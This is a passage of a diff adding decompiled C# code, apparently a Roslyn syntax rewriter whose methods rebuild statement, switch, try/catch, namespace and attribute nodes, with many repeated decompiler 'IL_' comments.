due to invalid IL or missing references) + return (SyntaxNode?)(object)node.Update(VisitList(node.AttributeLists), VisitToken(node.YieldKeyword), VisitToken(node.ReturnOrBreakKeyword), (ExpressionSyntax)(object)Visit((SyntaxNode?)(object)node.Expression), VisitToken(node.SemicolonToken)); + } + + public override SyntaxNode? VisitWhileStatement(WhileStatementSyntax node) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Unknown result type (might be due to invalid IL or missing references) + //IL_0047: Unknown result type (might be due to invalid IL or missing references) + //IL_004c: Unknown result type (might be due to invalid IL or missing references) + return (SyntaxNode?)(object)node.Update(VisitList(node.AttributeLists), VisitToken(node.WhileKeyword), VisitToken(node.OpenParenToken), ((ExpressionSyntax)(object)Visit((SyntaxNode?)(object)node.Condition)) ?? throw new ArgumentNullException("condition"), VisitToken(node.CloseParenToken), ((StatementSyntax)(object)Visit((SyntaxNode?)(object)node.Statement)) ?? throw new ArgumentNullException("statement")); + } + + public override SyntaxNode? VisitDoStatement(DoStatementSyntax node) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_003b: Unknown result type (might be due to invalid IL or missing references) + //IL_0040: Unknown result type (might be due to invalid IL or missing references) + //IL_0047: Unknown result type (might be due to invalid IL or missing references) + //IL_004c: Unknown result type (might be due to invalid IL or missing references) + //IL_0073: Unknown result type (might be due to invalid IL or missing references) + //IL_0078: Unknown result type (might be due to invalid IL or missing references) + //IL_007f: Unknown result type (might be due to invalid IL or missing references) + //IL_0084: Unknown result type (might be due to invalid IL or missing references) + return (SyntaxNode?)(object)node.Update(VisitList(node.AttributeLists), VisitToken(node.DoKeyword), ((StatementSyntax)(object)Visit((SyntaxNode?)(object)node.Statement)) ?? throw new ArgumentNullException("statement"), VisitToken(node.WhileKeyword), VisitToken(node.OpenParenToken), ((ExpressionSyntax)(object)Visit((SyntaxNode?)(object)node.Condition)) ?? throw new ArgumentNullException("condition"), VisitToken(node.CloseParenToken), VisitToken(node.SemicolonToken)); + } + + public override SyntaxNode? VisitForStatement(ForStatementSyntax node) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Unknown result type (might be due to invalid IL or missing references) + //IL_0038: Unknown result type (might be due to invalid IL or missing references) + //IL_003d: Unknown result type (might be due to invalid IL or missing references) + //IL_0044: Unknown result type (might be due to invalid IL or missing references) + //IL_0049: Unknown result type (might be due to invalid IL or missing references) + //IL_0061: Unknown result type (might be due to invalid IL or missing references) + //IL_0066: Unknown result type (might be due to invalid IL or missing references) + //IL_006d: Unknown result type (might be due to invalid IL or missing references) + //IL_0072: Unknown result type (might be due to invalid IL or missing references) + //IL_0079: Unknown result type (might be due to invalid IL or missing references) + //IL_007e: Unknown result type (might be due to invalid IL or missing references) + return (SyntaxNode?)(object)node.Update(VisitList(node.AttributeLists), VisitToken(node.ForKeyword), VisitToken(node.OpenParenToken), (VariableDeclarationSyntax)(object)Visit((SyntaxNode?)(object)node.Declaration), VisitList(node.Initializers), VisitToken(node.FirstSemicolonToken), (ExpressionSyntax)(object)Visit((SyntaxNode?)(object)node.Condition), VisitToken(node.SecondSemicolonToken), VisitList(node.Incrementors), VisitToken(node.CloseParenToken), ((StatementSyntax)(object)Visit((SyntaxNode?)(object)node.Statement)) ?? throw new ArgumentNullException("statement")); + } + + public override SyntaxNode? VisitForEachStatement(ForEachStatementSyntax node) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Unknown result type (might be due to invalid IL or missing references) + //IL_0027: Unknown result type (might be due to invalid IL or missing references) + //IL_002c: Unknown result type (might be due to invalid IL or missing references) + //IL_0053: Unknown result type (might be due to invalid IL or missing references) + //IL_0058: Unknown result type (might be due to invalid IL or missing references) + //IL_005f: Unknown result type (might be due to invalid IL or missing references) + //IL_0064: Unknown result type (might be due to invalid IL or missing references) + //IL_008b: Unknown result type (might be due to invalid IL or missing references) + //IL_0090: Unknown result type (might be due to invalid IL or missing references) + return (SyntaxNode?)(object)node.Update(VisitList(node.AttributeLists), VisitToken(node.AwaitKeyword), VisitToken(node.ForEachKeyword), VisitToken(node.OpenParenToken), ((TypeSyntax)(object)Visit((SyntaxNode?)(object)node.Type)) ?? throw new ArgumentNullException("type"), VisitToken(node.Identifier), VisitToken(node.InKeyword), ((ExpressionSyntax)(object)Visit((SyntaxNode?)(object)node.Expression)) ?? throw new ArgumentNullException("expression"), VisitToken(node.CloseParenToken), ((StatementSyntax)(object)Visit((SyntaxNode?)(object)node.Statement)) ?? throw new ArgumentNullException("statement")); + } + + public override SyntaxNode? VisitForEachVariableStatement(ForEachVariableStatementSyntax node) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Unknown result type (might be due to invalid IL or missing references) + //IL_0027: Unknown result type (might be due to invalid IL or missing references) + //IL_002c: Unknown result type (might be due to invalid IL or missing references) + //IL_0053: Unknown result type (might be due to invalid IL or missing references) + //IL_0058: Unknown result type (might be due to invalid IL or missing references) + //IL_007f: Unknown result type (might be due to invalid IL or missing references) + //IL_0084: Unknown result type (might be due to invalid IL or missing references) + return (SyntaxNode?)(object)node.Update(VisitList(node.AttributeLists), VisitToken(node.AwaitKeyword), VisitToken(node.ForEachKeyword), VisitToken(node.OpenParenToken), ((ExpressionSyntax)(object)Visit((SyntaxNode?)(object)node.Variable)) ?? throw new ArgumentNullException("variable"), VisitToken(node.InKeyword), ((ExpressionSyntax)(object)Visit((SyntaxNode?)(object)node.Expression)) ?? throw new ArgumentNullException("expression"), VisitToken(node.CloseParenToken), ((StatementSyntax)(object)Visit((SyntaxNode?)(object)node.Statement)) ?? throw new ArgumentNullException("statement")); + } + + public override SyntaxNode? VisitUsingStatement(UsingStatementSyntax node) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Unknown result type (might be due to invalid IL or missing references) + //IL_0027: Unknown result type (might be due to invalid IL or missing references) + //IL_002c: Unknown result type (might be due to invalid IL or missing references) + //IL_0055: Unknown result type (might be due to invalid IL or missing references) + //IL_005a: Unknown result type (might be due to invalid IL or missing references) + return (SyntaxNode?)(object)node.Update(VisitList(node.AttributeLists), VisitToken(node.AwaitKeyword), VisitToken(node.UsingKeyword), VisitToken(node.OpenParenToken), (VariableDeclarationSyntax)(object)Visit((SyntaxNode?)(object)node.Declaration), (ExpressionSyntax)(object)Visit((SyntaxNode?)(object)node.Expression), VisitToken(node.CloseParenToken), ((StatementSyntax)(object)Visit((SyntaxNode?)(object)node.Statement)) ?? throw new ArgumentNullException("statement")); + } + + public override SyntaxNode? VisitFixedStatement(FixedStatementSyntax node) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Unknown result type (might be due to invalid IL or missing references) + //IL_0047: Unknown result type (might be due to invalid IL or missing references) + //IL_004c: Unknown result type (might be due to invalid IL or missing references) + return (SyntaxNode?)(object)node.Update(VisitList(node.AttributeLists), VisitToken(node.FixedKeyword), VisitToken(node.OpenParenToken), ((VariableDeclarationSyntax)(object)Visit((SyntaxNode?)(object)node.Declaration)) ?? throw new ArgumentNullException("declaration"), VisitToken(node.CloseParenToken), ((StatementSyntax)(object)Visit((SyntaxNode?)(object)node.Statement)) ?? throw new ArgumentNullException("statement")); + } + + public override SyntaxNode? VisitCheckedStatement(CheckedStatementSyntax node) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + return (SyntaxNode?)(object)node.Update(VisitList(node.AttributeLists), VisitToken(node.Keyword), ((BlockSyntax)(object)Visit((SyntaxNode?)(object)node.Block)) ?? throw new ArgumentNullException("block")); + } + + public override SyntaxNode? VisitUnsafeStatement(UnsafeStatementSyntax node) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + return (SyntaxNode?)(object)node.Update(VisitList(node.AttributeLists), VisitToken(node.UnsafeKeyword), ((BlockSyntax)(object)Visit((SyntaxNode?)(object)node.Block)) ?? throw new ArgumentNullException("block")); + } + + public override SyntaxNode? VisitLockStatement(LockStatementSyntax node) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Unknown result type (might be due to invalid IL or missing references) + //IL_0047: Unknown result type (might be due to invalid IL or missing references) + //IL_004c: Unknown result type (might be due to invalid IL or missing references) + return (SyntaxNode?)(object)node.Update(VisitList(node.AttributeLists), VisitToken(node.LockKeyword), VisitToken(node.OpenParenToken), ((ExpressionSyntax)(object)Visit((SyntaxNode?)(object)node.Expression)) ?? throw new ArgumentNullException("expression"), VisitToken(node.CloseParenToken), ((StatementSyntax)(object)Visit((SyntaxNode?)(object)node.Statement)) ?? throw new ArgumentNullException("statement")); + } + + public override SyntaxNode? VisitIfStatement(IfStatementSyntax node) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Unknown result type (might be due to invalid IL or missing references) + //IL_0047: Unknown result type (might be due to invalid IL or missing references) + //IL_004c: Unknown result type (might be due to invalid IL or missing references) + return (SyntaxNode?)(object)node.Update(VisitList(node.AttributeLists), VisitToken(node.IfKeyword), VisitToken(node.OpenParenToken), ((ExpressionSyntax)(object)Visit((SyntaxNode?)(object)node.Condition)) ?? throw new ArgumentNullException("condition"), VisitToken(node.CloseParenToken), ((StatementSyntax)(object)Visit((SyntaxNode?)(object)node.Statement)) ?? throw new ArgumentNullException("statement"), (ElseClauseSyntax)(object)Visit((SyntaxNode?)(object)node.Else)); + } + + public override SyntaxNode? VisitElseClause(ElseClauseSyntax node) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + return (SyntaxNode?)(object)node.Update(VisitToken(node.ElseKeyword), ((StatementSyntax)(object)Visit((SyntaxNode?)(object)node.Statement)) ?? throw new ArgumentNullException("statement")); + } + + public override SyntaxNode? VisitSwitchStatement(SwitchStatementSyntax node) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Unknown result type (might be due to invalid IL or missing references) + //IL_0047: Unknown result type (might be due to invalid IL or missing references) + //IL_004c: Unknown result type (might be due to invalid IL or missing references) + //IL_0053: Unknown result type (might be due to invalid IL or missing references) + //IL_0058: Unknown result type (might be due to invalid IL or missing references) + //IL_005f: Unknown result type (might be due to invalid IL or missing references) + //IL_0064: Unknown result type (might be due to invalid IL or missing references) + //IL_006b: Unknown result type (might be due to invalid IL or missing references) + //IL_0070: Unknown result type (might be due to invalid IL or missing references) + return (SyntaxNode?)(object)node.Update(VisitList(node.AttributeLists), VisitToken(node.SwitchKeyword), VisitToken(node.OpenParenToken), ((ExpressionSyntax)(object)Visit((SyntaxNode?)(object)node.Expression)) ?? throw new ArgumentNullException("expression"), VisitToken(node.CloseParenToken), VisitToken(node.OpenBraceToken), VisitList(node.Sections), VisitToken(node.CloseBraceToken)); + } + + public override SyntaxNode? VisitSwitchSection(SwitchSectionSyntax node) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + return (SyntaxNode?)(object)node.Update(VisitList(node.Labels), VisitList(node.Statements)); + } + + public override SyntaxNode? VisitCasePatternSwitchLabel(CasePatternSwitchLabelSyntax node) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_0040: Unknown result type (might be due to invalid IL or missing references) + //IL_0045: Unknown result type (might be due to invalid IL or missing references) + return (SyntaxNode?)(object)node.Update(VisitToken(node.Keyword), ((PatternSyntax)(object)Visit((SyntaxNode?)(object)node.Pattern)) ?? throw new ArgumentNullException("pattern"), (WhenClauseSyntax)(object)Visit((SyntaxNode?)(object)node.WhenClause), VisitToken(node.ColonToken)); + } + + public override SyntaxNode? VisitCaseSwitchLabel(CaseSwitchLabelSyntax node) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_002f: Unknown result type (might be due to invalid IL or missing references) + //IL_0034: Unknown result type (might be due to invalid IL or missing references) + return (SyntaxNode?)(object)node.Update(VisitToken(node.Keyword), ((ExpressionSyntax)(object)Visit((SyntaxNode?)(object)node.Value)) ?? throw new ArgumentNullException("value"), VisitToken(node.ColonToken)); + } + + public override SyntaxNode? VisitDefaultSwitchLabel(DefaultSwitchLabelSyntax node) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + return (SyntaxNode?)(object)node.Update(VisitToken(node.Keyword), VisitToken(node.ColonToken)); + } + + public override SyntaxNode? VisitSwitchExpression(SwitchExpressionSyntax node) + { + //IL_0023: Unknown result type (might be due to invalid IL or missing references) + //IL_0028: Unknown result type (might be due to invalid IL or missing references) + //IL_002f: Unknown result type (might be due to invalid IL or missing references) + //IL_0034: Unknown result type (might be due to invalid IL or missing references) + //IL_003b: Unknown result type (might be due to invalid IL or missing references) + //IL_0040: Unknown result type (might be due to invalid IL or missing references) + //IL_0047: Unknown result type (might be due to invalid IL or missing references) + //IL_004c: Unknown result type (might be due to invalid IL or missing references) + return (SyntaxNode?)(object)node.Update(((ExpressionSyntax)(object)Visit((SyntaxNode?)(object)node.GoverningExpression)) ?? throw new ArgumentNullException("governingExpression"), VisitToken(node.SwitchKeyword), VisitToken(node.OpenBraceToken), VisitList(node.Arms), VisitToken(node.CloseBraceToken)); + } + + public override SyntaxNode? VisitSwitchExpressionArm(SwitchExpressionArmSyntax node) + { + //IL_0034: Unknown result type (might be due to invalid IL or missing references) + //IL_0039: Unknown result type (might be due to invalid IL or missing references) + return (SyntaxNode?)(object)node.Update(((PatternSyntax)(object)Visit((SyntaxNode?)(object)node.Pattern)) ?? throw new ArgumentNullException("pattern"), (WhenClauseSyntax)(object)Visit((SyntaxNode?)(object)node.WhenClause), VisitToken(node.EqualsGreaterThanToken), ((ExpressionSyntax)(object)Visit((SyntaxNode?)(object)node.Expression)) ?? throw new ArgumentNullException("expression")); + } + + public override SyntaxNode? VisitTryStatement(TryStatementSyntax node) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_003b: Unknown result type (might be due to invalid IL or missing references) + //IL_0040: Unknown result type (might be due to invalid IL or missing references) + return (SyntaxNode?)(object)node.Update(VisitList(node.AttributeLists), VisitToken(node.TryKeyword), ((BlockSyntax)(object)Visit((SyntaxNode?)(object)node.Block)) ?? throw new ArgumentNullException("block"), VisitList(node.Catches), (FinallyClauseSyntax)(object)Visit((SyntaxNode?)(object)node.Finally)); + } + + public override SyntaxNode? VisitCatchClause(CatchClauseSyntax node) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + return (SyntaxNode?)(object)node.Update(VisitToken(node.CatchKeyword), (CatchDeclarationSyntax)(object)Visit((SyntaxNode?)(object)node.Declaration), (CatchFilterClauseSyntax)(object)Visit((SyntaxNode?)(object)node.Filter), ((BlockSyntax)(object)Visit((SyntaxNode?)(object)node.Block)) ?? throw new ArgumentNullException("block")); + } + + public override SyntaxNode? VisitCatchDeclaration(CatchDeclarationSyntax node) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_002f: Unknown result type (might be due to invalid IL or missing references) + //IL_0034: Unknown result type (might be due to invalid IL or missing references) + //IL_003b: Unknown result type (might be due to invalid IL or missing references) + //IL_0040: Unknown result type (might be due to invalid IL or missing references) + return (SyntaxNode?)(object)node.Update(VisitToken(node.OpenParenToken), ((TypeSyntax)(object)Visit((SyntaxNode?)(object)node.Type)) ?? throw new ArgumentNullException("type"), VisitToken(node.Identifier), VisitToken(node.CloseParenToken)); + } + + public override SyntaxNode? VisitCatchFilterClause(CatchFilterClauseSyntax node) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_003b: Unknown result type (might be due to invalid IL or missing references) + //IL_0040: Unknown result type (might be due to invalid IL or missing references) + return (SyntaxNode?)(object)node.Update(VisitToken(node.WhenKeyword), VisitToken(node.OpenParenToken), ((ExpressionSyntax)(object)Visit((SyntaxNode?)(object)node.FilterExpression)) ?? throw new ArgumentNullException("filterExpression"), VisitToken(node.CloseParenToken)); + } + + public override SyntaxNode? VisitFinallyClause(FinallyClauseSyntax node) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + return (SyntaxNode?)(object)node.Update(VisitToken(node.FinallyKeyword), ((BlockSyntax)(object)Visit((SyntaxNode?)(object)node.Block)) ?? throw new ArgumentNullException("block")); + } + + public override SyntaxNode? VisitCompilationUnit(CompilationUnitSyntax node) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Unknown result type (might be due to invalid IL or missing references) + //IL_0027: Unknown result type (might be due to invalid IL or missing references) + //IL_002c: Unknown result type (might be due to invalid IL or missing references) + //IL_0033: Unknown result type (might be due to invalid IL or missing references) + //IL_0038: Unknown result type (might be due to invalid IL or missing references) + return (SyntaxNode?)(object)node.Update(VisitList(node.Externs), VisitList(node.Usings), VisitList(node.AttributeLists), VisitList(node.Members), VisitToken(node.EndOfFileToken)); + } + + public override SyntaxNode? VisitExternAliasDirective(ExternAliasDirectiveSyntax node) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Unknown result type (might be due to invalid IL or missing references) + //IL_0027: Unknown result type (might be due to invalid IL or missing references) + //IL_002c: Unknown result type (might be due to invalid IL or missing references) + return (SyntaxNode?)(object)node.Update(VisitToken(node.ExternKeyword), VisitToken(node.AliasKeyword), VisitToken(node.Identifier), VisitToken(node.SemicolonToken)); + } + + public override SyntaxNode? VisitUsingDirective(UsingDirectiveSyntax node) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Unknown result type (might be due to invalid IL or missing references) + //IL_0027: Unknown result type (might be due to invalid IL or missing references) + //IL_002c: Unknown result type (might be due to invalid IL or missing references) + //IL_0064: Unknown result type (might be due to invalid IL or missing references) + //IL_0069: Unknown result type (might be due to invalid IL or missing references) + return (SyntaxNode?)(object)node.Update(VisitToken(node.GlobalKeyword), VisitToken(node.UsingKeyword), VisitToken(node.StaticKeyword), VisitToken(node.UnsafeKeyword), (NameEqualsSyntax)(object)Visit((SyntaxNode?)(object)node.Alias), ((TypeSyntax)(object)Visit((SyntaxNode?)(object)node.NamespaceOrType)) ?? throw new ArgumentNullException("namespaceOrType"), VisitToken(node.SemicolonToken)); + } + + public override SyntaxNode? VisitNamespaceDeclaration(NamespaceDeclarationSyntax node) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Unknown result type (might be due to invalid IL or missing references) + //IL_0047: Unknown result type (might be due to invalid IL or missing references) + //IL_004c: Unknown result type (might be due to invalid IL or missing references) + //IL_0053: Unknown result type (might be due to invalid IL or missing references) + //IL_0058: Unknown result type (might be due to invalid IL or missing references) + //IL_005f: Unknown result type (might be due to invalid IL or missing references) + //IL_0064: Unknown result type (might be due to invalid IL or missing references) + //IL_006b: Unknown result type (might be due to invalid IL or missing references) + //IL_0070: Unknown result type (might be due to invalid IL or missing references) + //IL_0077: Unknown result type (might be due to invalid IL or missing references) + //IL_007c: Unknown result type (might be due to invalid IL or missing references) + //IL_0083: Unknown result type (might be due to invalid IL or missing references) + //IL_0088: Unknown result type (might be due to invalid IL or missing references) + return (SyntaxNode?)(object)node.Update(VisitList(node.AttributeLists), VisitList(node.Modifiers), VisitToken(node.NamespaceKeyword), ((NameSyntax)(object)Visit((SyntaxNode?)(object)node.Name)) ?? throw new ArgumentNullException("name"), VisitToken(node.OpenBraceToken), VisitList(node.Externs), VisitList(node.Usings), VisitList(node.Members), VisitToken(node.CloseBraceToken), VisitToken(node.SemicolonToken)); + } + + public override SyntaxNode? VisitFileScopedNamespaceDeclaration(FileScopedNamespaceDeclarationSyntax node) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Unknown result type (might be due to invalid IL or missing references) + //IL_0047: Unknown result type (might be due to invalid IL or missing references) + //IL_004c: Unknown result type (might be due to invalid IL or missing references) + //IL_0053: Unknown result type (might be due to invalid IL or missing references) + //IL_0058: Unknown result type (might be due to invalid IL or missing references) + //IL_005f: Unknown result type (might be due to invalid IL or missing references) + //IL_0064: Unknown result type (might be due to invalid IL or missing references) + //IL_006b: Unknown result type (might be due to invalid IL or missing references) + //IL_0070: Unknown result type (might be due to invalid IL or missing references) + return (SyntaxNode?)(object)node.Update(VisitList(node.AttributeLists), VisitList(node.Modifiers), VisitToken(node.NamespaceKeyword), ((NameSyntax)(object)Visit((SyntaxNode?)(object)node.Name)) ?? throw new ArgumentNullException("name"), VisitToken(node.SemicolonToken), VisitList(node.Externs), VisitList(node.Usings), VisitList(node.Members)); + } + + public override SyntaxNode? VisitAttributeList(AttributeListSyntax node) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Unknown result type (might be due to invalid IL or missing references) + //IL_0025: Unknown result type (might be due to invalid IL or missing references) + //IL_002c: Unknown result type (might be due to invalid IL or missing references) + //IL_0031: Unknown result type (might be due to invalid IL or missing references) + return (SyntaxNode?)(object)node.Update(VisitToken(node.OpenBracketToken), (AttributeTargetSpecifierSyntax)(object)Visit((SyntaxNode?)(object)node.Target), VisitList(node.Attributes), VisitToken(node.CloseBracketToken)); + } + + public override SyntaxNode? VisitAttributeTargetSpecifier(AttributeTargetSpecifierSyntax node) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + return (SyntaxNode?)(object)node.Update(VisitToken(node.Identifier), VisitToken(node.ColonToken)); + } + + public override SyntaxNode? VisitAttribute(AttributeSyntax node) + { + return (SyntaxNode?)(object)node.Update(((NameSyntax)(object)Visit((SyntaxNode?)(object)node.Name)) ?? throw new ArgumentNullException("name"), (AttributeArgumentListSyntax)(object)Visit((SyntaxNode?)(object)node.ArgumentList)); + } + + public override SyntaxNode? VisitAttributeArgumentList(AttributeArgumentListSyntax node) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Unknown result type (might be due to invalid IL or missing references) + return (SyntaxNode?)(object)node.Update(VisitToken(node.OpenParenToken), VisitList(node.Arguments), VisitToken(node.CloseParenToken)); + } + + public override SyntaxNode? VisitAttributeArgument(AttributeArgumentSyntax node) + { + return (SyntaxNode?)(object)node.Update((NameEqualsSyntax)(object)Visit((SyntaxNode?)(object)node.NameEquals), (NameColonSyntax)(object)Visit((SyntaxNode?)(object)node.NameColon), ((ExpressionSyntax)(object)Visit((SyntaxNode?)(object)node.Expression)) ?? throw new ArgumentNullException("expression")); + } + + public override SyntaxNode? VisitNameEquals(NameEqualsSyntax node) + { + //IL_0023: Unknown result type (might be due to invalid IL or missing references) + //IL_0028: Unknown result type (might be due to invalid IL or missing references) + return (SyntaxNode?)(object)node.Update(((IdentifierNameSyntax)(object)Visit((SyntaxNode?)(object)node.Name)) ?? throw new ArgumentNullException("name"), VisitToken(node.EqualsToken)); + } + + public override SyntaxNode? VisitTypeParameterList(TypeParameterListSyntax node) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Unknown result type (might be due to invalid IL or missing references) + return (SyntaxNode?)(object)node.Update(VisitToken(node.LessThanToken), VisitList(node.Parameters), VisitToken(node.GreaterThanToken)); + } + + public override SyntaxNode? VisitTypeParameter(TypeParameterSyntax node) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Unknown result type (might be due to invalid IL or missing references) + return (SyntaxNode?)(object)node.Update(VisitList(node.AttributeLists), VisitToken(node.VarianceKeyword), VisitToken(node.Identifier)); + } + + public override SyntaxNode? VisitClassDeclaration(ClassDeclarationSyntax node) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Unknown result type (might be due to invalid IL or missing references) + //IL_0027: Unknown result type (might be due to invalid IL or missing references) + //IL_002c: Unknown result type (might be due to invalid IL or missing references) + //IL_0066: Unknown result type (might be due to invalid IL or missing references) + //IL_006b: Unknown result type (might be due to invalid IL or missing references) + //IL_0072: Unknown result type (might be due to invalid IL or missing references) + //IL_0077: Unknown result type (might be due to invalid IL or missing references) + //IL_007e: Unknown result type (might be due to invalid IL or missing references) + //IL_0083: Unknown result type (might be due to invalid IL or missing references) + //IL_008a: Unknown result type (might be due to invalid IL or missing references) 